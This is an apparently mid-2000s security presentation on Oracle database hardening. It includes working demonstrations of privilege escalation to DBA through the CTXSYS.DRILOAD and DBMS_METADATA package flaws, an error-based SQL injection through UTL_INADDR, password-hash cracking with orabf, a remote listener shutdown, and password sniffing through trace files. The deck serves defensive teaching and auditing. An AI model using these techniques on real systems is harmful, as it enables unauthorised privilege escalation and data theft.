Many Ways To Become DBA
A quick guide to securing an Oracle database

Pete Finnigan, Principal Consultant
Introduction

- My name is Pete Finnigan
  - I specialise in researching and securing Oracle databases
- I am going to keep it reasonably simple and not too technical
- I am going to talk about
  - The problems – why Oracle can be insecure
  - Some examples of how to exploit Oracle
  - Finding and auditing for security problems
  - Some basic ideas to secure your Oracle database
The problems

- Why many ways to become DBA?
- Do you need to be a DBA to:
  - Gain extra privileges?
  - To perform application operations that you should not?
  - To steal data?
- The answer is NO
  - Extra privileges does not always mean system privileges
  - Application operations do not need DBA privileges
  - Stealing data could be done as Mrs Smith Not Mr DBA
If no privileges there would be no problems

- There are also myriads of single privileges that can lead to problems
  - System level privileges
  - Application level privileges
  - Data access privileges
  - Object creation issues (structural changes)
  - Oracle network issues and access
- The key is to remember that in some circumstances any privilege gained or used could be an issue
- What are the hackers after, why are they doing it?
What are the hackers after?

- To cause damage, steal or gain access to host systems
  - You do not need to be a DBA
  - Many other privileges offer security risks
- Incorrect configuration can allow privilege escalation
- Incorrect configuration can allow access to data that should not be read
- Incorrect configuration can allow damage or loss or business
- Oracle is feature rich – do not get hung up on features
  - Features can cause security risks – even when not used
  - Deal with the basics – reduce the *attack surface*
- Security is not rocket science – Security is common sense!
So how can you become a DBA

- The easy way – have it granted to you – or do it yourself
- Have ALL PRIVILEGES granted – *the same thing*
- You have ALTER USER privilege
- You have EXECUTE ANY PROCEDURE
- You can read password hashes
- Use a public (or non-public) package exploit (examples)
  - CTXSYS.DRILOAD.VALIDATE_STMT
  - DBMS_METADATA.GET_DDL
- Exploit the TNS listener to write an OS file
- There are many more ways to become a DBA
Recent press and research

- Lots of recent press article
  - The latest Jan 2006 CPU
    - The CPU has been re-released for Linux
    - OPatch issues
    - Levels of detail criticised
  - Two recent versions of an Oracle worm
  - A threat of a much better rootkit
  - Oracle suggest immediate patching because of DB18
    - Anyone can become DBA
    - Demonstration
- Researchers are looking at packages, TNS, much more…
Check who is a DBA

SQL> @d:\who_has_role.sql

ROLE TO CHECK [DBA]: DBA
OUTPUT METHOD Screen/File [S]: S
FILE NAME FOR OUTPUT [priv.lst]:
OUTPUT DIRECTORY [DIRECTORY or file (/tmp)]:
EXCLUDE CERTAIN USERS [N]: N
USER TO SKIP [TEST%]:

Investigating Role => DBA (PWD = NO) which is granted to =>
====================================================================
User => SYS (ADM = YES)
User => SCOTT (ADM = NO)
User => WKSYS (ADM = NO)
User => CTXSYS (ADM = NO)
User => SYSTEM (ADM = YES)

PL/SQL procedure successfully completed.

http://www.petefinnigan.com/who_has_role.sql
Why do we need Oracle security?

- Computer Emergency Response Team (CERT) say 95% of all intrusions are made using known vulnerabilities.
- Deloitte 2005 Global Security Survey said Internal attacks exceed external attacks.
- Nicolas Jacobsen had access to 16.3 million T-Mobile customers details.
- In April 2005 310,000 U.S. residents records may have been breached at LexisNexis.
- Also in April 2005 HSBC warned 180,000 customers that credit card information may have been stolen.
Where can you find out about Oracle Security

- Oracle security information available is quite good now
- Web Sites for information
- Books
  - SANS Oracle Security step-by-step – Pete Finnigan
  - Effective Oracle database 10g security by design – David Knox
  - Oracle Privacy Security auditing – Arup Nanda
- Free tools
  - CIS benchmark - http://www.cisecurity.org/bench_oracle.html
  - Many tools listed on http://www.petefinnigan.com/tools.htm
- Training
  - SANS course, also Insight are developing a 3 day course
What are the issues – how do hackers attack you

- People having unauthorised access – not just hackers
  - Too many privileges (CONNECT, RESOURCE…)
- Internal attacks
  - Fed up employees
  - Employees trying to get the job done (sup, dev, dba?)
  - Malicious employees / industrial spies / identity theft
- External attacks
  - Use the database for application privilege escalation
  - Server breach can be the target via multiple Oracle issues or again data could be the target
- Web or network access is a modern issue for databases
What are the main security problem areas

- Bugs – security bugs!
  - Lots of researchers
  - Some bugs are 0-day (workaround released yesterday)
- Configuration issues
  - There are lots and it gets worse with each release
  - Lots of new features – new holes – less info to secure
- Privilege management
  - PUBLIC, many default roles,
- Default users and passwords – many more each release
- Password management is off by default
What are the main security problem areas (2)

- Internet access
  - Many open ports by default
  - This potentially makes Oracle open to slammer type attacks – the recent worm
  - Is an internet based attack likely?
    - Yes its likely as the attack surface gets bigger (Oracle XE?)
    - The effect would not be like Slammer – less Oracle exposed

- File system access plus OS functions
  - Too many methods to access the file system
    - UTL_FILE, DBMS_BACKUP_RESTORE, EMD_SYSTEM, DBMS_LOB, DBMS_NAMESPACE, DBMS_SCHEDULER, Java (over 40) … more
Some exploit examples

- The easy way in – default passwords
- Cracking a users password if hashes are known
- A built-in package exploit – CTXSYS.DRILOAD
- Another example DBMS_MetadA
- What is SQL Injection
- Simple SQL Injection example
- Exploiting the TNS listener
- Sniffing the network
An example of default password checking

SQL> @d:\osp\osp_exec
Connectstring (destination database): oradev
Password of oraprobe?: ********
Connected.
Oracle accounts with default passwords
======================================
Username: SYS
Password: CHANGE_ON_INSTALL
======================================
Username: SYSTEM
Password: MANAGER

http://www.petefinnigan.com/default/default_password_checker.htm
Get osp_accounts_public.zip – install osp_install.sql
The default password problem

- Oracle has a major problem with default passwords
- More default users and passwords are known for Oracle than any other software
- [http://www.petefinnigan.com/default/default_password_list.htm](http://www.petefinnigan.com/default/default_password_list.htm) - lists 600 default accounts – soon to be 1100
- Each version of Oracle creates more default accounts
- They are in the
  - Software distribution, created by default, features, examples..
  - Some created in the database – less open accounts
  - Documentation / metalink / oracle.com
Password cracking

- What is a password cracker
  - Brute force and dictionary attacks
- Until recently the Oracle password algorithm was not public
- Before this we had to use PL/SQL based crackers
- C based crackers are now available – free and commercial
  - 1,100,000 hashes per second on 2.8ghz Pentium 4
  - Now version 0.7.4
- Minimum password lengths are now even more important
- Do not let passwords hashes fall into hacker hands
An example cracking session

SQL> alter user scott identified by gf4h7;
User altered.
SQL> select password from dba_users where username='SCOTT';
PASSWORD
------------------------
EF2D6ED2EDC1036B

D:\orabf> orabf EF2D6ED2EDC1036B:SCOTT 3 5
orabf v0.7.2, (C)2005 orm@toolcrypt.org
-----------------------------------------------------
Trying default passwords
Starting brute force session
press 'q' to quit. any other key to see status
password found:SCOTT:GF4H7

29307105 passwords tried. elapsed time 00:00:40. t/s:715700
Exploiting built-in packages

- Why are there bugs in built-in packages?
- Definer rights and executor rights
- Finding vulnerable packages in your own code
  - Check the access rights – privileges and invoker rights
  - Looking for dynamic SQL – fuzz all packages
    - 252 bugs found with grep
  - Check the SGA for vulnerable SQL – see www.argeniss.com
- Built-in PL/SQL is wrapped – isn’t it secure?
  - It is not encrypted it is encoded and has security risks
  - Strings can be read before 10g
A built-in package exploit

SQL> select * from user_role_privs;
USERNAME       GRANTED_ROLE                   ADM DEF OS_
-------------- ------------------------------ --- --- ---
SCOTT          CONNECT                        NO  YES NO
SCOTT          RESOURCE                       NO  YES NO

SQL> exec ctxsys.driload.validate_stmt('grant dba to scott');
BEGIN ctxsys.driload.validate_stmt('grant dba to scott'); END;
* 
ERROR at line 1:
ORA-06510: PL/SQL: unhandled user-defined exception
ORA-06512: at "CTXSYS.DRILOAD", line 42
ORA-01003: no statement parsed
ORA-06512: at line 1
SQL> select * from user_role_privs;
USERNAME       GRANTED_ROLE                   ADM DEF OS_
-------------- ------------------------------ --- --- ---
SCOTT          CONNECT                        NO  YES NO
SCOTT          DBA                            NO  YES NO
SCOTT          RESOURCE                       NO  YES NO
Exploiting DBMS_METADATA (1)

SQL> connect scott/tiger
Connected.
SQL> select * from user_role_privs;
USERNAME         GRANTED_ROLE                   ADM DEF OS_
---------------- ------------------------------ --- --- ---
SCOTT            CONNECT                        NO  YES NO
SCOTT            RESOURCE                       NO  YES NO

SQL> create or replace function scott.hack return varchar2
2 authid current_user is
3 pragma autonomous_transaction;
4 begin
5 execute immediate 'grant dba to scott';
6 return '';
7 end;
8 /

Function created.
Exploiting DBMS_METADATA (2)

SQL> select sys.dbms_metadata.get_ddl('''||scott.hack()||''','')
    from dual;

ERROR:
ORA-31600: invalid input value '||scott.hack()||' for parameter
  OBJECT_TYPE in function GET_DDL
ORA-06512: at "SYS.DBMS_SYS_ERROR", line 105
ORA-06512: at "SYS.DBMS_METADATA_INT", line 1536
ORA-06512: at "SYS.DBMS_METADATA_INT", line 1900
ORA-06512: at "SYS.DBMS_METADATA_INT", line 3606
ORA-06512: at "SYS.DBMS_METADATA", line 504
ORA-06512: at "SYS.DBMS_METADATA", line 560
ORA-06512: at "SYS.DBMS_METADATA", line 1221
ORA-06512: at line 1
no rows selected

SQL> select * from user_role_privs;

USERNAME       GRANTED_ROLE                   ADM  DEF  OS_
-------------- ------------------------------ ---  ---  ---
SCOTT          CONNECT                        NO   YES  NO
SCOTT          DBA                            NO   YES  NO
SCOTT          RESOURCE                       NO   YES  NO
What is SQL Injection?

- What is SQL Injection
- Big issue because of remote exploits
- Many forms –
  - Extra queries, unions, order by, sub-selects, functions
- Secure your PL/SQL code:
  - Don’t use concatenated dynamic SQL or PL/SQL
  - Use bind variables
  - Filter input that is passed to dynamic SQL or PL/SQL
- A simple example
A SQL Injection example

SQL> connect scott/tiger@oradev
Connected.
SQL> select utl_inaddr.get_host_name('127.0.0.1') from dual;
localhost
SQL> select utl_inaddr.get_host_name('**'||(select banner from v$version where rownum=1)||'**') from dual;
select utl_inaddr.get_host_name('**'||(select banner from v$version where rownum=1)||'**') from dual
*
ERROR at line 1:
ORA-29257: host **Personal Oracle9i Release 9.2.0.1.0 - Production**
  unknown
ORA-06512: at "SYS.UTL_INADDR", line 35
ORA-06512: at "SYS.UTL_INADDR", line 35
ORA-06512: at line 1
Exploiting the listener

- The listener is the outer perimeter wall for Oracle
  - It attracts attention of hackers
- The listener can be password protected – amazingly!
  - Protect the listener.ora – some versions hash knowledge has value!
- Stop dynamic configuration of the listener
- The 10g listener is better
  - Current issues with local authentication
- Ensure trace is off and the directory is valid
- Use listener logging - ensure file and directory are valid
- Remove ExtProc functionality if not needed
Issues with the listener

- There are no password management features
  - Lock out is not available
  - Failed logins are not available
  - Password aging and management are not available

- Tools to audit the listener

- The TNS / O3Logon protocols have changed in 9i, 10g
  - Is the protocol available?
    - Yes some of it if you know where to look on the Internet
An example listener exploit

```
LSNRCTL> stop 192.168.254.201
Connecting to
   (DESCRIPTION=(CONNECT_DATA=(SID=*)(SERVICE_NAME=192.168.254.201)))(
   ADDRESS=(PROTOCOL=TCP)(HOST=192.168.254.201)(PORT=1521))
The command completed successfully
```

```
C:\Documents and Settings\Compaq_Owner> lsnrctl status
Copyright (c) 1991, 2002, Oracle Corporation. All rights reserved.
Connecting to (DESCRIPTION=(ADDRESS=(PROTOCOL=IPC)(KEY=EXTPROC0)))
TNS-12541: TNS:no listener
TNS-12560: TNS:protocol adapter error
   TNS-00511: No listener
```
Sniffing

- What is sniffing?
- What can you sniff?
  - ALTER USER, PASSWORD and SET ROLE, data
  - Trojan password verification functions to steal passwords
  - Sniffing the logon process
    - Can passwords be stolen?
    - Can hashes be stolen?
    - If you have a hash then it is possible to steal the password!
    - Use ASO or free alternatives
Sniffing an ALTER USER

TRACE_FILE_SERVER=oug.trc
TRACE_DIRECTORY_SERVER=d:\temp
TRACE_LEVEL_SERVER=SUPPORT

SQL> alter user scott identified by secretpassword;

User altered.

In the trace file you will find the password

[19-SEP-2005 14:29:52:814] nsprecv: 00 00 00 00 00 2D 61 6C |.....-al|
[19-SEP-2005 14:29:52:814] nsprecv: 6F 72 64 01 00 00 00 01 |ord.....|
Auditing Oracle for security issues - tools

- Default passwords – http://www.petefinnigan.com/default/default_password_checker.htm
- Password cracker (orabf) – http://www.toolcrypt.org
- Privilege audit scripts (find_all_privs.sql) – http://www.petefinnigan.com
- Patrik Karlsson (OAT,OScanner) – http://www.cqure.net
- Many more free and commercial tools
  - nessus, metacortex, Repscan, AppDetective, NGS Squirel
  - See http://www.petefinnigan.com/tools.htm for details and links
How do you protect Oracle?

- Keep it simple to start with – Rome was not built in one day
- Apply patch sets, upgrades and critical security patches
  - Some recent patch issues – still apply the patch
- Deal with the common configuration issues (remote_os_authent,O7_dictionary…)
- Deal with common default privilege issues (connect, resource…)
- Check for default passwords still in use - REGULARLY
- Check for weak user passwords – use a cracker
  - Use password management features
- Secure the listener – passwords, protect configuration
How do you protect Oracle? Cont’d

- Close down all of the ports Oracle has opened
  - XDB (8080 and 2100)
  - The flying piglet, iSQL*Plus…
- Remove features and functions that you do not use –
  - use the OUI and removal scripts where provided
- Encrypt network connections
  - Client to database / application server / webserver
  - Application server – database
- Encrypt critical data in the database
- Code against SQL injection – binds, dynamic SQL, ownership,
- Use **The least privilege principle**
Use Oracles Audit features

- Face it, someone will break in or cause damage
- Enable audit for all database logins
  - Set up reporting to monitor access
  - And failed login attempts
- Enable audit for use of system privileges
- Enable audit for any structural changes
- Use application level audit
  - E-Business suite features
  - Application logins
  - Trigger based data change log
Use Oracle Audit Features cont’d

- Use system level logging such as listener.log
- Use FGA where appropriate
- Audit access and change to critical data
- Analyse the audit trail and logs
  - Create reports
  - Create procedures / policies
  - Review report contents
  - Set alerts
  - Act on the contents
- Consider external audit tools, guardium, AppRadar, AppDefend, Chakra…
Summary / Conclusions

- Security is just common sense
- Oracle is big and complex – too much to look at?
- Understand how a hacker thinks – this is important
- Install what is needed not what can be installed
- Audit users passwords and use password management
- Audit for configuration issues / privileges regularly
- Expose only the privileges that are needed
- Remember hackers do not just want to get DBA privileges
- Use Oracle auditing
Questions and Answers

- Any Questions, please ask
- Later?
  - Contact me via email peter.finnigan@insight.co.uk
  - Or via my website http://www.petefinnigan.com
Insight Consulting
Part of Siemens Communications

Security, Compliance and Continuity

www.siemens.co.uk/insight
📞 +44 (0)1932 241000